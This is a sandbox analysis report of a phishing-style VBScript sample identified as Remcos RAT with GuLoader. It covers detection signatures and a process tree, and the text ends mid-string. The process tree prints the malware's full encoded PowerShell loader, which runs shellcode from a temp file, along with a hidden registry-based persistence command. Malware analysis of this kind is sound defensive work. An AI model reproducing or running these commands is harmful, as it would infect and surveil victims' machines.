Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
775578748333_FEDEX.vbs

Overview

General Information

Sample Name:775578748333_FEDEX.vbs
Analysis ID:557830
MD5:5d3ad82ef16521df753bc6baff37f72f
SHA1:ac4df3a47570b88a4768c2c461b15f78b99753dd
SHA256:19469f11cba8ab55b84cf26efa8835e906d07fdb73572c9ee3594e5c44c798bf
Tags:RemcosRATvbs
Infos:

Detection

Remcos GuLoader
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
VBScript performs obfuscated calls to suspicious functions
Yara detected Remcos RAT
Detected Remcos RAT
Multi AV Scanner detection for domain / URL
Yara detected GuLoader
Hides threads from debuggers
Installs a global keyboard hook
Creates an autostart registry key pointing to binary in C:\Windows
Potential evasive VBS script found (sleep loop)
Tries to detect Any.run
Wscript starts Powershell (via cmd or directly)
Potential malicious VBS script found (suspicious strings)
Potential malicious VBS script found (has network functionality)
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Encrypted powershell cmdline option found
Very long command line found
Suspicious powershell command line found
Creates autostart registry keys with suspicious values (likely registry only malware)
C2 URLs / IPs found in malware configuration
Tries to harvest and steal browser information (history, passwords, etc)
Queries the volume information (name, serial number etc) of a device
Yara signature match
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
Found dropped PE file which has not been started or loaded
Contains long sleeps (>= 3 min)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Java / VBScript file with very long strings (likely obfuscated code)
Drops PE files
Tries to load missing DLLs
Detected TCP or UDP traffic on non-standard ports
Checks if the current process is being debugged
Sigma detected: Suspicious Csc.exe Source File Folder
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Compiles C# or VB.Net code
Sigma detected: Suspicious Execution of Powershell with Base64
Creates a process in suspended mode (likely to inject code)
Found WSH timer for Javascript or VBS script (likely evasive script)

Classification

Process Tree

  • System is w10x64
  • wscript.exe (PID: 7076 cmdline: C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\775578748333_FEDEX.vbs" MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)
    • powershell.exe (PID: 5616 cmdline: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsACAAcABsAGEAdABvAG4AaQBzAG0AbQAgAE8AcABkAHIAaQBmAHQAcwAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAaQBuAHQAZQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBIAGEAYQBuAGQAYgBvAGwAZABoADYAIgAgAA0ACgAkAFMAYwByAGkAcAB0AGUAcgBlADMAPQAwADsADQAKACQAUwBjAHIAaQBwAHQAZQByAGUAOQA9ADEAMAA0ADgANQA3ADYAOwANAAoAJABTAGMAcgBpAHAAdABlAHIAZQA4AD0AWwBTAGMAcgBpAHAAdABlAHIAZQAxAF0AOgA6AE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAC0AMQAsAFsAcgBlAGYAXQAkAFMAYwByAGkAcAB0AGUAcgBlADMALAAwACwAWwByAGUAZgBdACQAUwBjAHIAaQBwAHQAZQByAGUAOQAsADEAMgAyADgAOAAsADYANAApAA0ACgAjAE8AYgBsAGkAZwBhAHQAIABPAHAAcwBrAHIAZQByAGYAcgBzACAARABlAHMAbwByADYAIABHAFIAVQBQAFAARQBNAEUARAAgAEwASQBWAFMASwBWAEEAIABzAHQAZQByAHMAcwB0ACAAQQBjAHQAaQBvAG4AYQByADYAIABBAG4AYQByAHQAaAByAG8AMQAgAFcAYQBtAHAAYQBuAG8AYQBnAG0ANwAgAFIAZQBnAG4AdgBlAGoAcgA3ACAAawBvAGUAYgB0AGYAdQByAHoAZQAgAEMAbwByAG4AbABlAHMAcwAzACAAQgByAHkAZwBoAHUAcwBlAGEAIABOAGkAZwBoAHQAaQBtAGUAIABiAGEAYQBsAHQAYQAgAGMAeQBjAGwAbwAgAFMAaQBuAGQAcwAzACAAUABMAEEARABFAEwAQQBHAEUAIABTAGsAaQBuAG4AZQBiAGUANgAgAFoAdwBlAGMAawBzAGMAbwBwADkAIAB0AGUAdQB0AG8AbgBpAHoAIABBAHMAcwBlAHMAcwBvAHIAZQAgAHIAZQBuAGEAcwAgAFYARQBBAEwAIABQAFIAUwBJAEQAIABCAG8AdgBiAGwAIABBAFMAWQBNACAATQBJAFIATwBTAEwASQAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAUwBwAGkAbgAiACAADQAKACQAUwBjAHIAaQBwAHQAZQByAGUAMgA9ACIAJABlAG4AdgA6AHQAZQBtAHAAIgAgACsAIAAiAFwARwByAHUAbgBkAC4AZABhAHQAIgANAAoAIwBHAGUAbgBiAHIAdQBnAHMANwAgAHAAaAB5AHQAIABjAG8AcAByAGkAIABkAGUAbQBvAG4AcwB0AHIAYQAgAE0AZQB0AGgAeQBsAHAAIABTAG8AYwBpAGEAbAAxACAAcwB0AGEAbABsAGkAbgBnACAAZABvAGMAawB3ACAAdQBuAGIAZQAgAEIAYQBsAGwAYQBzACAAVgBhAG4AZAB1AGQAcwBrAGkAIABEAG8AbQBzACAAVgBlAGwAcwBlAHMAbwB2AGUAcgAgAHAAcgBvAGwAbwBjAHUAdABvAHIAIABUAEkARABTAEsAIABKAHUAcgBpAHMAdAAgAFQAaQBsAHMAaQBrAHIAZQB0AHIAIABzAHAAYQByAGsAZQBuAGUAbQBhACAAYgBlAHMAdAByAG4AaQBuAGcAIABTAFQAWQBSAEkATgBHAFMAQQAgAEIAbwBsAHQAZQBkAGUAIABCAE8ARABZAEcAIABEAEUAUwBVAEwAIABQAG8AcwB0AGEAdQByAGkAYwB1ACAAVAByAHkAawBuADQAIABJAE4ARABJAFYASQBEAFUAQQAgAFAASQBOAEMARQBUAFQAIAANAAoAJABTAGMAcgBpAHAAdABlAHIAZQA0AD0AWwBTAGMAcgBpAHAAdABlAHIAZQAxAF0AOgA6AEMAcgBlAGEAdABlAEYAaQBsAGUAQQAoACQAUwBjAHIAaQBwAHQAZQByAGUAMgAsADIAMQA0ADcANAA4ADMANgA0ADgALAAxACwAMAAsADMALAAxADIAOAAsADAAKQANAAoAIwBTAHUAbQBwAHQAdQBvAHUAcwAgAE0ATwBEAEUAUgBFAFIARQBSACAARAByAHkAcwAgAEgAQQBMAFMAQgBSACAAbABlAGQAaQBnACAARgBsAGEAZwBlAHIAbQB1AHMAZQAgAEUARgBUAEUAUgAgAFMASwBKAE8AUgBUACAARgBsAGkAbgA5ACAAQgBlAG4AZQBmAGkAYwBlAG4AIABmAG8AcgBtACAARQBtAGIAcgBlAGEAYwBoAHMAdAAyACAAZAByAGUAagBuAGkAbgBnAHMAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAHQAagByAGUAIgAgAA0ACgAkAFMAYwByAGkAcAB0AGUAcgBlADUAPQAwADsADQAKACMAbQBlAG4AcwB0AHIAdQBhAHQAZQAgAEEAZgBwAHIAdgBuAGkAbgBnAHMAMgAgAEwAdQBjAGkAbgBkADUAIABwAGUAdAByAGkAcwBhACAARwBlAG8AcABoAGEAZwBpAHMAIABQAGgAaQBsACAAQwB1AHQAdABsAGUANQAgAEEAawBrAG8AIABTAHQAYQBtADMAIABTAEwASQBCAEIARQBSAFMAQQBVACAAVgBlAHIAZABlAG4AcwA0ACAAUwBPAEwASQBEAEEAUgAgAEsAQQBSAFQAQQBVAEQASQBUAFIAIABNAE8AVQBSACAAYwBvAGMAawBzAHAAYQByACAAUwB0AGoAZQByAG4AZQBkADMAIABHAGUAbgBuAGUAbQA0ACAAYgBvAHIAdABrAGEAbABkACAAcwBkAGUAdABzAGkAbABrAGUAcwAgAHIAaQBnAG8AcgBpAHMAIABiAGEAbABkAHAAYQB0ACAASABWAEEATABGAEEATgBHACAAUwBhAHQAaQBuAGkAcwBlAHMAZwAgAGEAbgB0AGkAYwBsAGkAbQBhACAAbwB1AHQAcwB0AHIAaQAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIARAB1AGIAbABhAG4AdABzAGYAMwAiACAADQAKAFsAUwBjAHIAaQBwAHQAZQByAGUAMQBdADoAOgBSAGUAYQBkAEYAaQBsAGUAKAAkAFMAYwByAGkAcAB0AGUAcgBlADQALAAkAFMAYwByAGkAcAB0AGUAcgBlADMALAAyADYAMQAyADUALABbAHIAZQBmAF0AJABTAGMAcgBpAHAAdABlAHIAZQA1ACwAMAApAA0ACgAjAFAATwBVAEwAVABSAFkAIABBAHIAZQBuAHAAaABvAHQAbwBsADMAIABQAGEAcgBnACAAUgBlAGcAZQBsADUAIABMAGkAbgBpAHIAdQBuAGEAcwBoACAAVABvAHAAZgAzACAAZABpAGEAbABlAGsAdABpAGsAIABSAGUAcAByAG8AdgBhAGIAOAAgAEcAZQBhAHIAdgBsAGcAZQByAHMAIABVAEQARQBOAEUAVQBSAE8AUAAgAEMAQQBNAEIAVQBDAEEAUwBXACAAZgByAGEAZABtAG0AdABlAHcAZQAgAEYAYQByAHMAaQB1AG4AIABqAGUAcgBuAGIAYQBuAGUAbABpACAATABVAFYAUwBJAEcAQQBOAEcAIABBAGYAZABlAGwAaQBuACAAVABhAGIAZQBsAGwAZQAzACAAUAB1AHIAdgBpAGUAdwAzACAAUABsAGEAYwBlAGgAbwBsACAAYQByAHYAZQAgAFAAcgBpAGEAcAB1AGwAIABSAE8AUwBBAFUAUgAgAGQAaQBzAGMAIABTAFYAQQBSAEwAIABpAG4AZAB1AHMAIABTAE8AVQBCAEkAUwBFAFMAVAAgAHMAYwBoAG8AbwBsAHQAIABMAFIARQBSAEYATABVAEcAIABBAGcAcgBhAGYAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEkAbQBiAGEAcgBrACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAHIAZQBpAG0AcABsAGkAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAQQBmAG0AbgAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBIAE8ATgBEAE4AIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIARABpAHMAcgBpACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFcAYQB5AGIAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIARwBBAFMAVABSAE8AQwAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBMAGUAZABkAGUAbAA3ACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFUAbABkAHMAcABpAG4AMQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBPAEMAQwBMACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFUAbgBpAHYAZQByAHMAYQAyACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFMATwBFAEIATwBSACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAE0AeQBvAHMAaQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBCAHUAawBzAHMAdABhAGMAIgAgAA0ACgBbAFMAYwByAGkAcAB0AGUAcgBlADEAXQA6ADoAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKAAkAFMAYwByAGkAcAB0AGUAcgBlADMALAAgADAALAAwACwAMAAsADAAKQANAAoADQAKAA== MD5: DBA3E6449E97D4E3DF64527EF7012A10)
      • conhost.exe (PID: 3120 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • csc.exe (PID: 2008 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tm43worv.cmdline MD5: 350C52F71BDED7B99668585C15D70EEA)
        • cvtres.exe (PID: 4640 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD568.tmp" "c:\Users\user\AppData\Local\Temp\CSCF0319BB5C3414E72AB519E7A67BBFBFC.TMP" MD5: C09985AE74F0882F208D75DE27770DFA)
      • ieinstal.exe (PID: 4636 cmdline: C:\Program Files (x86)\internet explorer\ieinstal.exe MD5: DAD17AB737E680C47C8A44CBB95EE67E)
        • iexplore.exe (PID: 6068 cmdline: c:\program files\internet explorer\iexplore.exe MD5: 6465CB92B25A7BC1DF8E01D8AC5E7596)
  • cmd.exe (PID: 6820 cmdline: "C:\Windows\system32\cmd.exe" /c start /b c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8) MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
    • conhost.exe (PID: 6948 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
    • powershell.exe (PID: 7072 cmdline: c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8) MD5: DBA3E6449E97D4E3DF64527EF7012A10)
      • powershell.exe (PID: 1760 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsACAAcABsAGEAdABvAG4AaQBzAG0AbQAgAE8AcABkAHIAaQBmAHQAcwAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAaQBuAHQAZQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBIAGEAYQBuAGQAYgBvAGwAZABoADYAIgAgAA0ACgAkAFMAYwByAGkAcAB0AGUAcgBlADMAPQAwADsADQAKACQAUwBjAHIAaQBwAHQAZQByAGUAOQA9ADEAMAA0ADgANQA3ADYAOwANAAoAJABTAGMAcgBpAHAAdABlAHIAZQA4AD0AWwBTAGMAcgBpAHAAdABlAHIAZQAxAF0AOgA6AE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAC0AMQAsAFsAcgBlAGYAXQAkAFMAYwByAGkAcAB0AGUAcgBlADMALAAwACwAWwByAGUAZgBdACQAUwBjAHIAaQBwAHQAZQByAGUAOQAsADEAMgAyADgAOAAsADYANAApAA0ACgAjAE8AYgBsAGkAZwBhAHQAIABPAHAAcwBrAHIAZQByAGYAcgBzACAARABlAHMAbwByADYAIABHAFIAVQBQAFAARQBNAEUARAAgAEwASQBWAFMASwBWAEEAIABzAHQAZQByAHMAcwB0ACAAQQBjAHQAaQBvAG4AYQByADYAIABBAG4AYQByAHQAaAByAG8AMQAgAFcAYQBtAHAAYQBuAG8AYQBnAG0ANwAgAFIAZQBnAG4AdgBlAGoAcgA3ACAAawBvAGUAYgB0AGYAdQByAHoAZQAgAEMAbwByAG4AbABlAHMAcwAzACAAQgByAHkAZwBoAHUAcwBlAGEAIABOAGkAZwBoAHQAaQBtAGUAIABiAGEAYQBsAHQAYQAgAGMAeQBjAGwAbwAgAFMAaQBuAGQAcwAzACAAUABMAEEARABFAEwAQQBHAEUAIABTAGsAaQBuAG4AZQBiAGUANgAgAFoAdwBlAGMAawBzAGMAbwBwADkAIAB0AGUAdQB0AG8AbgBpAHoAIABBAHMAcwBlAHMAcwBvAHIAZQAgAHIAZQBuAGEAcwAgAFYARQBBAEwAIABQAFIAUwBJAEQAIABCAG8AdgBiAGwAIABBAFMAWQBNACAATQBJAFIATwBTAEwASQAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAUwBwAGkAbgAiACAADQAKACQAUwBjAHIAaQBwAHQAZQByAGUAMgA9ACIAJABlAG4AdgA6AHQAZQBtAHAAIgAgACsAIAAiAFwARwByAHUAbgBkAC4AZABhAHQAIgANAAoAIwBHAGUAbgBiAHIAdQBnAHMANwAgAHAAaAB5AHQAIABjAG8AcAByAGkAIABkAGUAbQBvAG4AcwB0AHIAYQAgAE0AZQB0AGgAeQBsAHAAIABTAG8AYwBpAGEAbAAxACAAcwB0AGEAbABsAGkAbgBnACAAZABvAGMAawB3ACAAdQBuAGIAZQAgAEIAYQBsAGwAYQBzACAAVgBhAG4AZAB1AGQAcwBrAGkAIABEAG8AbQBzACAAVgBlAGwAcwBlAHMAbwB2AGUAcgAgAHAAcgBvAGwAbwBjAHUAdABvAHIAIABUAEkARABTAEsAIABKAHUAcgBpAHMAdAAgAFQAaQBsAHMAaQBrAHIAZQB0AHIAIABzAHAAYQByAGsAZQBuAGUAbQBhACAAYgBlAHMAdAByAG4AaQBuAGcAIABTAFQAWQBSAEkATgBHAFMAQQAgAEIAbwBsAHQAZQBkAGUAIABCAE8ARABZAEcAIABEAEUAUwBVAEwAIABQAG8AcwB0AGEAdQByAGkAYwB1ACAAVAByAHkAawBuADQAIABJAE4ARABJAFYASQBEAFUAQQAgAFAASQBOAEMARQBUAFQAIAANAAoAJABTAGMAcgBpAHAAdABlAHIAZQA0AD0AWwBTAGMAcgBpAHAAdABlAHIAZQAxAF0AOgA6AEMAcgBlAGEAdABlAEYAaQBsAGUAQQAoACQAUwBjAHIAaQBwAHQAZQByAGUAMgAsADIAMQA0ADcANAA4ADMANgA0ADgALAAxACwAMAAsADMALAAxADIAOAAsADAAKQANAAoAIwBTAHUAbQBwAHQAdQBvAHUAcwAgAE0ATwBEAEUAUgBFAFIARQBSACAARAByAHkAcwAgAEgAQQBMAFMAQgBSACAAbABlAGQAaQBnACAARgBsAGEAZwBlAHIAbQB1AHMAZQAgAEUARgBUAEUAUgAgAFMASwBKAE8AUgBUACAARgBsAGkAbgA5ACAAQgBlAG4AZQBmAGkAYwBlAG4AIABmAG8AcgBtACAARQBtAGIAcgBlAGEAYwBoAHMAdAAyACAAZAByAGUAagBuAGkAbgBnAHMAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAHQAagByAGUAIgAgAA0ACgAkAFMAYwByAGkAcAB0AGUAcgBlADUAPQAwADsADQAKACMAbQBlAG4AcwB0AHIAdQBhAHQAZQAgAEEAZgBwAHIAdgBuAGkAbgBnAHMAMgAgAEwAdQBjAGkAbgBkADUAIABwAGUAdAByAGkAcwBhACAARwBlAG8AcABoAGEAZwBpAHMAIABQAGgAaQBsACAAQwB1AHQAdABsAGUANQAgAEEAawBrAG8AIABTAHQAYQBtADMAIABTAEwASQBCAEIARQBSAFMAQQBVACAAVgBlAHIAZABlAG4AcwA0ACAAUwBPAEwASQBEAEEAUgAgAEsAQQBSAFQAQQBVAEQASQBUAFIAIABNAE8AVQBSACAAYwBvAGMAawBzAHAAYQByACAAUwB0AGoAZQByAG4AZQBkAD